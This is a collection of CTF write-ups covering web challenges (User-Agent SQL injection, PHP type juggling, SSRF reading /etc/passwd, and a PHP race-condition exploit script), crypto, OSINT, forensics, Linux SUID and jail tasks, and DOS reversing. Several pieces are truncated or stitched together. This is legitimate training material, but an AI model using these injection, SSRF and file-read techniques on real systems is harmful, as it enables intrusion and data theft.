Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`

From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`

Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.

Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:

I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:

The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:

Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.

When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.

Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.

Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.

Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.

As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.

For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.

Flag: darkCTF{y0u_f0und_the_squ1d}
|
## Solution
From challenge name and from the binary itself, it's easy to identify that the EXE file is the compiled Turbo Pascal program. One can use [DosBox](https://www.dosbox.com/) to run it.
### Password protection
On start, the program asks for a password.
Encoded passwords are stored inside the binary. Try `strings MAIN.EXE`. There are total 100 of passwords, but only 1 is correct.
There are some ways to bypass this password protection:
1. Disassemble and invert the condition, then enter the wrong password.
2. Disassemble and find the index of correct password.
3. Patch the EXE file so it will respond to a password containing 21 spaces. See [patch.py](https://github.com/oioki/balccon2k20-ctf/blob/master/rev/turbo-blaise/solution/patch.py)
4. Find the true password by manual brute-forcing :-)
### Image of the flag
After entering a correct password, the program switches to graphic mode and start to show the flag.
The only issue it shows the image very slowly. To speed up the process, one needs to increase cycles inside DosBox (press Ctrl+F12 a few times). |
# SHArky (crypto, 231p, 38 solved)
## Description
In the task we get [challenge code](https://raw.githubusercontent.com/TFNS/writeups/master/2020-08-24-GoogleCTF/sharky/challenge.py) and [modified sha256](https://raw.githubusercontent.com/TFNS/writeups/master/2020-08-24-GoogleCTF/sharky/sha256.py).We can connect to remote challenge server, it will provide us with keyed hash for known message `MSG = b'Encoded with random keys'`, and we need to provide the secret keys to get back a flag.
## Code analysis
### Main
From the main we know:
- There are 8 secret keys- Each keys is 4 bytes long, taken from urandom- Hashed message is known- There are no vulnerabilities here
### SHA code
Since we're supposed to recover round keys, let's try to see where they are used, and can be invert operations leading to them.
Last step of hash is:
```python def sha256(self, m, round_keys = None): m_padded = self.padding(m) state = self.sha256_raw(m_padded, round_keys) return struct.pack('>8L', *state)```
This part is trivially invertible, we just need to unpack the output hash value with the same format, and we can proceed to `sha256_raw`:
```pythonstate = struct.unpack('>8L', digest)```
Next function is:
```python def sha256_raw(self, m, round_keys = None): if len(m) % 64 != 0: raise ValueError('m must be a multiple of 64 bytes') state = self.h for i in range(0, len(m), 64): block = m[i:i + 64] w = self.compute_w(block) s = self.compression(state, w, round_keys) state = [(x + y) & 0xffffffff for x, y in zip(state, s)] return state```
We don't care about length check, since input is padded.Then we have a loop over 64-byte input blocks.We don't care about that either, since our input is short and there will only be a single block.This means we only care about:
```pythonstate = self.hw = self.compute_w(block)s = self.compression(state, w, round_keys)state = [(x + y) & 0xffffffff for x, y in zip(state, s)]```
Note that `self.h` - initial hash state - is constant, and `compute_w` uses only hash input, so for us it's also basically constant.Then the final step of combining new state `s` and result of `compression` function is just addition, so we can invert it easily.We just need:
```pythonsha = sha256.SHA256()w = sha.compute_w(sha.padding(MSG))raw_state = [((x - y) + 0xffffffff + 1) & 0xffffffff for x, y in zip(state, sha.h)]```
This way we get back the result of `self.compression(state, w, round_keys)`.We finally reached code which uses the `round keys`.
Compression function is basically just:
```pythonfor i in range(64): state = self.compression_step(state, round_keys[i], w[i])```
And compression_step:
```pythondef compression_step(self, state, k_i, w_i): a, b, c, d, e, f, g, h = state s1 = self.rotate_right(e, 6) ^ self.rotate_right(e, 11) ^ self.rotate_right(e, 25) ch = (e & f) ^ (~e & g) tmp1 = (h + s1 + ch + k_i + w_i) & 0xffffffff s0 = self.rotate_right(a, 2) ^ self.rotate_right(a, 13) ^ self.rotate_right(a, 22) maj = (a & b) ^ (a & c) ^ (b & c) tmp2 = (tmp1 + s0 + maj) & 0xffffffff tmp3 = (d + tmp1) & 0xffffffff return (tmp2, a, b, c, tmp3, e, f, g)```
#### Invert compression steps for known keys
Note that we know all `w_i` values, we know the final `state` and we know all `k_i` apart from 8 first ones.We want to `invert` the `compression_step` function, and looking at the operations there it's pretty simple.6 out of 8 variables don't change at all, so we can recover them immediately.This leaves us with recovering `h` and `d`.
Recovering `d` is pretty straightforward:
```tmp2 = (tmp1 + s0 + maj) & 0xfffffffftmp3 = (d + tmp1) & 0xffffffff```
And we know `tmp2` and `tmp3` so:
```tmp1 = (tmp2 - (s0 + maj)) & 0xffffffffd = (tmp3 - tmp1) & 0xffffffff```
There is only one equation involving `h`:```tmp1 = (h + s1 + ch + k_i + w_i) & 0xffffffff```
We know `tmp2`, therefore:```s1 = self.rotate_right(e, 6) ^ self.rotate_right(e, 11) ^ self.rotate_right(e, 25)ch = (e & f) ^ (~e & g)s0 = self.rotate_right(a, 2) ^ self.rotate_right(a, 13) ^ self.rotate_right(a, 22)
tmp1 = (tmp2 - (s0 + maj)) & 0xffffffffh = (tmp1 - (k_i + s1 + ch + w_i)) & 0xffffffff```
`s2`, `ch`, and `s0` are based on parameters we know, so the only issue is that recovering `h` requires us to know `k_i`.
This means we can invert all upper rounds, because all but 8 low `k_i` values are secret, rest are constant:
```pythondef invert_step(state, w_i, k_i): tmp2, a, b, c, tmp3, e, f, g = state maj = (a & b) ^ (a & c) ^ (b & c) s0 = rotate_right(a, 2) ^ rotate_right(a, 13) ^ rotate_right(a, 22) s1 = rotate_right(e, 6) ^ rotate_right(e, 11) ^ rotate_right(e, 25) tmp1 = (tmp2 - (s0 + maj)) & 0xffffffff d = (tmp3 - tmp1) & 0xffffffff ch = (e & f) ^ (~e & g) h = (tmp1 - (k_i + s1 + ch + w_i)) & 0xffffffff return a, b, c, d, e, f, g, h```
We can run this as:
```python original_keys = sha.k[:] for i in range(1, 65 - secret_keys): state = invert_step(state, w[-i], original_keys[-i])```
And we reach `state` value after `compression_step` was called 8 times, with secret keys, on the input.
#### Recovering missing keys
Notice that we could easily recover `k_i` value, assuming we know `h` value, simply because:
```h = (tmp1 - (k_i + s1 + ch + w_i)) & 0xffffffff```and thus```k_i = (tmp1 - (h + s1 + ch + w_i)) & 0xffffffff```
Otherwise we just know `h+k_i` and we have no means of `splitting` this sum further.
However, it's important to notice that we know initial state - `sha.h`.It is interesting to look at how those values are propagated through the 8 rounds with secret keys.
Consider: what would happen if we set `k_i` in last secret round to `0` and try to invert?
1. After first round our computed `h` value is `h = (tmp1 - (0 + s1 + ch + w_i)) & 0xffffffff` instead of `h = (tmp1 - (k_i + s1 + ch + w_i)) & 0xffffffff` so it's off by exactly `-k_i`2. After second round this value is just shifted left3. After third round this value is just shifted left4. After fourth round the value is modified, but just by constant subtraction5. After fifth round value is just shifted left6. After sixth round value is just shifted left7. After seventh round value is just shifted left
Pretty much the value would be smaller by exactly `-real_k_i`, and then it would be just shifted to the end.
This means we could run `invert_step` 8 times, using `0` as key value, and then just compare the `a` value we reach with the real `a` value from `sha.h` state, to know what was `-real_k_i` value.
Once we recover the last `k_i` we can invert this round properly, and then perform similar attack for bottom 7 rounds, and compare second value from initial state etc:
```pythonf_state = statefor i in range(7, -1, -1): for j in range(i + 1): state = invert_step(state, 0, w[i - j]) real_key = state[7 - i] - sha.h[7 - i] keys.append(real_key)
state = f_state for idx, k in enumerate(keys): state = invert_step(state, k, w[7 - idx])```
This way we can recover all missing keys (in inverted order).
## Solver
We can collect all of those pieces to a proper solver:
```pythondef recover_keys(digest): state = struct.unpack('>8L', digest) sha = sha256.SHA256() w = sha.compute_w(sha.padding(MSG)) raw_state = [((x - y) + 0xffffffff + 1) & 0xffffffff for x, y in zip(state, sha.h)] secret_keys = 8 keys = [] state = raw_state original_keys = sha.k[:] for i in range(1, 65 - secret_keys): state = invert_step(state, w[-i], original_keys[-i])
f_state = state for i in range(7, -1, -1): for j in range(i + 1): state = invert_step(state, 0, w[i - j]) real_key = state[7 - i] - sha.h[7 - i] keys.append(real_key & 0xffffffff)
state = f_state for idx, k in enumerate(keys): state = invert_step(state, k, w[7 - idx]) return keys[::-1]```
And we can use this with remote service:
```pythondef main(): port = 1337 host = "sharky.2020.ctfcompetition.com" s = nc(host, port) digest = receive_until(s, b'\n')[12:-1] keys = recover_keys(binascii.unhexlify(digest)) print(keys) result = [hex(key).replace("0x", "").encode() for key in keys] print(b','.join(result)) send(s, b','.join(result)) interactive(s)```
To get the flag: `CTF{sHa_roUnD_k3Ys_caN_b3_r3vERseD}` |
# SHOW TABLES ## Tables -> known_isomorphic_algorithms# programs# to_derezz# SELECT * from known_isomorphic_algorithms # # SELECT * from programs # # SELECT * from to_derezz # # SELECT `COLUMN_NAME` FROM `INFORMATION_SCHEMA`.`COLUMNS` WHERE `TABLE_SCHEMA`='grid' AND `TABLE_NAME`='programs' ## SELECT `COLUMN_NAME` FROM `INFORMATION_SCHEMA`.`COLUMNS` WHERE `TABLE_SCHEMA`='grid' AND `TABLE_NAME`='to_derezz' ## SELECT `COLUMN_NAME` FROM `INFORMATION_SCHEMA`.`COLUMNS` WHERE `TABLE_SCHEMA`='grid' AND `TABLE_NAME`='known_isomorphic_algorithms' ## programs -> id# name# status# location# SELECT * FROM programs WHERE name LIKE BINARY '%Tron%' # |
# Turbo Blaise - BalCCon2k20 CTF (rev, 443p, 14 solved)## Introduction
Turbo Blaise is a reversing task.
An archive containing an exe file and a "BGI" file is provided. The file names(8-3, all in caps) hint an MS-DOS challenge.
## Reverse engineering
`file` removes all doubts : this is an MS-DOS executable.
```$ file MAIN.EXE MAIN.EXE: MS-DOS executable```
Importing the binary in Ghidra shows a pleasant surprise : the binary isobfuscated.```cuRam0000af28 = 0xffc;uRam0000af24 = 0xc02;uRam0000af22 = 0xff;uRam0000af20 = 0x14d1;uRam0000af1e = 0xa1;FUN_14d1_0898();uRam0000af26 = 0x14d1;uRam0000af24 = 0xa6;FUN_14d1_0800();uRam0000af2a = 0x14d1;uRam0000af28 = 0xab;FUN_14d1_04f4();uRam0000af2a = 0x14d1;uRam0000af28 = 0xb;uRam0000af24 = 0xd02;uRam0000af22 = 0xff;uRam0000af20 = 0x14d1;uRam0000af1e = 0xbe;FUN_14d1_0c05();```
You start crying uncontrollably.
As you wipe the tears from your eyes, you notice the following lines :```assemblerCMP byte ptr [0xc02], 0x15JZ LAB_1000_00f3```
Setting a breakpoint on this instruction shows that address `ds:0c02` containsthe size of the password. In fact, the whole password is stored here, in aPascal string :```Trap 3, system state: emulated,stoppedAX=001b BX=3fec CX=0000 DX=0877 SI=0027 DI=0d1e SP=3ffa BP=3ffcDS=0877 ES=0877 FS=0299 GS=c443 FL=7246CS:IP=02a9:00be SS:SP=099c:3ffa
02a9:00be 803E020C15 cmp byte [0C02],15d ds:0c02
0877:0c02 1A 4C 6F 72 65 6D 20 69 70 73 75 6D 20 64 6F 6C .Lorem ipsum dol0877:0c12 6F 72 20 73 69 74 20 61 6D 65 74 00 00 00 00 00 or sit amet.....0877:0c22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................0877:0c32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................0877:0c42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................0877:0c52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................0877:0c62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................0877:0c72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................```
Using a 21-char password gives a different error message : `I am sorry :-(`instead of `I am very sorry :-(`
This addresses are referenced in a while loop at the end of the obfuscatedfunction :```assemblerMOV AL, [0xe02]XOR AH, AHMOV DI, AXMOV CL, byte ptr [DI + 0x7e1]
MOV AL, [0xe02]XOR AH, AHMOV DI, AXMOV DL, byte ptr [DI + 0xd02]
MOV AL, [0xe02]XOR AH, AHMOV DI, AXMOV AL, byte ptr [DI + 0xc02]
XOR AL, DLCMP AL, CLJZ LAB_1000_015e```
The code is pretty straightforward : it xors every bytes in the `ds:0c02` bufferwith every bytes in the `ds:0d02` buffer and compare it with the bytes of the`ds:07e1` buffer.
Using an other breakpoint and a 21-chars password, it is possible to dump allthree buffers :```0877:07e1 4C 08 00 01 0C 1D 12 02 42 19 0E 14 17 1C 16 41 L.......B......A0877:07f1 08 08 1A 1B 0D 17 53 4F 4C 01 06 0B 00 07 07 43 ......SOL......C
0877:0c02 15 61 73 64 66 61 73 64 66 61 73 64 66 61 73 64 .asdfasdfasdfasd0877:0c12 66 61 73 64 66 78 00 00 00 00 00 00 00 00 00 00 fasdfx..........
0877:0d02 1B 6C 69 66 65 69 73 6E 6F 74 61 70 72 6F 62 6C .lifeisnotaprobl0877:0d12 65 6D 74 6F 62 65 73 6F 6C 76 65 64 00 00 00 00 emtobesolved....```
Xoring the `ds:07e1` buffer with `lifeisnotaproblemtobesolved` shows thepassword : `digital-modest-mentor`
When entering this password, the flag gets drawn on the screen.
**Flag**: `BCTF{BLA1SE_PASCAL_WE_MADE_HIM_TURB0}` |
## [Original/Source Writeup](https://bigpick.github.io/TodayILearned/articles/2020-10/b01lersbootcamp#echoes-of-reality)
We’re given an audio file. It is a low point CTF question. More than likely it is just a simple spectrogram problem (which it was). Open up in Sonic Visualizer, Audacity, w/e and enable the Spectrogram view (in Sonic Visualizer, Layer -> Add Spectrogram):

Flag is `flag{b3h1Nd_tH3_l0oK1nG_gl4s5}` |
# RaKeeJaPassRPC (crypto, 466p, 9 solved)
## Description
In the task we get the [server source code](https://raw.githubusercontent.com/TFNS/writeups/master/2020-09-25-BalCCon/RaKeeJaPassRPC/server.py) and we even got a full [client](https://raw.githubusercontent.com/TFNS/writeups/master/2020-09-25-BalCCon/RaKeeJaPassRPC/client.py)!We can also connect to remote server, where this server is running.
## Code analysis
I won't lie, the code looks pretty complex.There is some complicated DH-like key exchange logic with some special token password, which by the power of math allows two sides to agree on a shared secret which is used to encrytp the flag.
We spent some time going through the math here to understand how this all works, but it's really not useful in the end.The critical part is:
```pythonkey = sha256(f'{S:X}'.encode()).digest()```
AES key is generated from value `S`, which in turn comes from:
```pythonS = pow(A * pow(v, u, N), b, N)```
Where `A` is the value we provide to the server.
There is also a check on the value of:
```pythonM = sha256(f'{A:X}{B:X}{S:X}'.encode()).digest().hex()```
But `A` we provide, `B` is given to us by the server, hence again if we know `S` we can compute this value easily.
## Vulnerability
Notice that the server never performs any checks on the value `A` we provided.It's simply taken directly into the computations.The issue here is similar to `invalid key` attacks.By using some special value, we can trick server into creating shared secret / authentication challenge which can be bypassed without knowing the token.
If we look again at:
```pythonS = pow(A * pow(v, u, N), b, N)```
It should be pretty obvious that if we were to send `A = 0` the value of `S` will also become `0`, regardless of all other parameters.
## Solver
We can just take the provided client, set `A = 0` and `S = 0` and run it to get back the flag: `BCTF{y0u_w0uldnt_impl3m3nt_y0ur_0wn_crypt0}` |
TL;DR: Detect periodicity of broken PRNG
[https://github.com/fab1ano/tasteless-ctf-20/tree/master/babychaos](https://github.com/fab1ano/tasteless-ctf-20/tree/master/babychaos)
|
# [Original writeup](https://joyce.fyi/posts/bo1lers-bootcamp-2020/#granular-data)
Running `exiftool` on the image provided will give us the information we need.
**Flag**: flag{h4t3d_1n_th3_n4t10n_0MTBu} **Tools**: [`exiftool`](https://exiftool.org/) |
# [Original writeup here](https://joyce.fyi/posts/bo1lers-bootcamp-2020/#troll-hunt)
Looking on Twitter for the hashtag `#shrive`, we see there's [this account](https://twitter.com/V760DHM) that's been tweeting for the last few days about `#shrive` and malware ...

Scrolling through their timeline, we see that on Oct 2 they tweeted "OH SHOOT", followed by "nothing suspicious here" half an hour later. I tried going on the Wayback Machine to check this profile, but there were no snapshots taken.
Scrolling all the way down to their first tweet: https://twitter.com/V760DHM/status/1311551737380179968 that gives us a link.
Which then takes us to their [Imgur account](https://imgur.com/user/v760dhm) with the same name. Going to the trollface image and clicking "Show bad comments" will then reveal their comment, with one downvote, containing the flag.
**Flag**: `flag{shu7_up_4nd_d4nc3_G5jM30}` |
The given string is:
```RFVDVEZ7MTZfaDBtM19ydW41X20zNG41X3J1bm4xbjZfcDQ1N182NF9iNDUzNX0=```
With the equals sign at the end, the string is a pretty dead giveaway for Base 64 encryption. Running it through a decryptor we get the flag.
**Flag**: `DUCTF{16_h0m3_run5_m34n5_runn1n6_p457_64_b4535}` **Tools**: [Base64 decoder](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)) |
# Needle In A HaystackCan you find the needle?Haystack Link: https://mega.nz/file/5qBR3a7Z#VS7Uz6l2Jr1ZXcckQQaMvzMzuljpJsrfdfOFqSIfNSs ## Solution
